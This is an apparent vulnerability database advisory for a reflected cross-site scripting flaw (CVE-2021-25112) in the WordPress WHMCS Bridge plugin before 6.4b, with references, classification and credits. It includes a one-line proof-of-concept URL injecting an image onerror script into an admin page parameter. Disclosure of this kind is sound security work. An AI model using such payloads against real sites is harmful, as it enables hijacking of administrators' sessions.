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WordPress Plugin Vulnerabilities

WHMCS Bridge < 6.4b - Reflected Cross-Site Scripting (XSS)

Description

The plugin does not sanitise and escape the error parameter before outputting it back in admin dashboard, leading to a Reflected Cross-Site Scripting

Proof of Concept

http://example.com/wp-admin/options-general.php?page=cc-ce-bridge-cp&error=%3Cimg%20src%20onerror=alert(1)%3E 

Affects Plugins

whmcs-bridge
Fixed in version 6.4b

References

CVE
CVE-2021-25112
URL
https://plugins.trac.wordpress.org/changeset/2659751

Classification

Type

XSS

OWASP top 10
A7: Cross-Site Scripting (XSS)
CWE
CWE-79

Miscellaneous

Original Researcher

Krzysztof Zając

Submitter

Krzysztof Zając

Submitter website
https://kazet.cc/
Verified

Yes

WPVDB ID
4aae2dd9-8d51-4633-91bc-ddb53ca3471c

Timeline

Publicly Published

2022-01-27 (about 1 years ago)

Added

2022-01-27 (about 1 years ago)

Last Updated

2022-04-16 (about 9 months ago)

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